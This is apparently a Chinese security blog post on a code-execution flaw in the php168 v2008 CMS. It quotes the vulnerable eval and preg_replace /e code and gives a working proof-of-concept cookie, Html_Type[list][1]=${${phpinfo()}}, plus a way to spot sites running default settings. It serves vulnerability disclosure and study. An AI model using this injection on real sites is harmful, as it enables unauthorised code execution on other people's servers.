php168 v2008 默认设置的灾难

来源:phpeval's BLOG
作者:phpeval

index.php 的第63行开始

  1. elseif($webdb[NewsMakeHtml]==1)         //如果是生成静态。。。  
  2. {  
  3.   $content=ob_get_contents();  
  4.   ob_end_clean();  
  5.   ob_start();      //备用  
  6.   $content=make_html($content,'index');  
  7.   echo "$content";  

 

make_html 函数的代码

  1. function make_html($content,$pagetype=''){  
  2.   global $fid,$id,$fidDB,$webdb,$page,$rsdb;          //下面的东西就是正则且执行到了 make_html_Function 函数  
  3.   $content=preg_replace("/bencandy\.php\?fid=([\d]+)&(aid|id)=([\d]+)&page=([\d]+)/eis","make_html_Function('\\1','\\3','\\4','')",$content);  //有分页的最终页            
  4.   $content=preg_replace("/([a-z0-9-\.:\/]{0,})bencandy\.php\?fid=([\d]+)&(id|aid)=([\d]+)/eis","make_html_Function('\\2','\\4','1','\\1')",$content);  //无分页的最终页  
  5.   $content=preg_replace("/list\.php\?fid=([\d]+)&page=([\d]+)/eis","make_html_Function('\\1','','\\2','')",$content);  //有分页的列表页  
  6.   $content=preg_replace("/([a-z0-9-\.:\/]{0,})list\.php\?fid=([\d]+)/eis","make_html_Function('\\2','','1','\\1')",$content);  //无分页的列表页 

 

make_html_Function 函数的问题

  1. function make_html_Function($fid,$id,$page=1,$P=''){  
  2. ………… //前面的貌似也可以利用。不过我TEST的是list。就不说前面了。  
  3. if($Html_Type['list'][$fid]){      //如果$Html_Type['list'][$fid] 存在那么$filename=$Html_Type['list'][$fid]  
  4.       $filename=$Html_Type['list'][$fid];            
  5.     }else{  
  6.       $filename=$webdb[list_filename];  
  7.     }  
  8. …………  
  9. eval("\$filename=\"$filename\";");  
  10. ………… 

 

当然他们的代码里面是把东西给add了。不过就像前面所说的:http://www.phpeval.cn/read.php?0 ,在双引号内是可以执行代码的。

于是如果在后台没有为list指定页面的话。(默认是不用指定页面的)。那么就可以直接执行我们的代码了。

测试方式。构造COOKIE: Html_Type[list][1]=${${phpinfo()}} 这样访问index.php 就发现phpinfo给执行了。

判断是不是默认设置。就看他们的分类地址或者文章地址是不是 html/d/d/d.html的形式就行了

Leave a comment

Your comment

Why not Login? Sign up now! »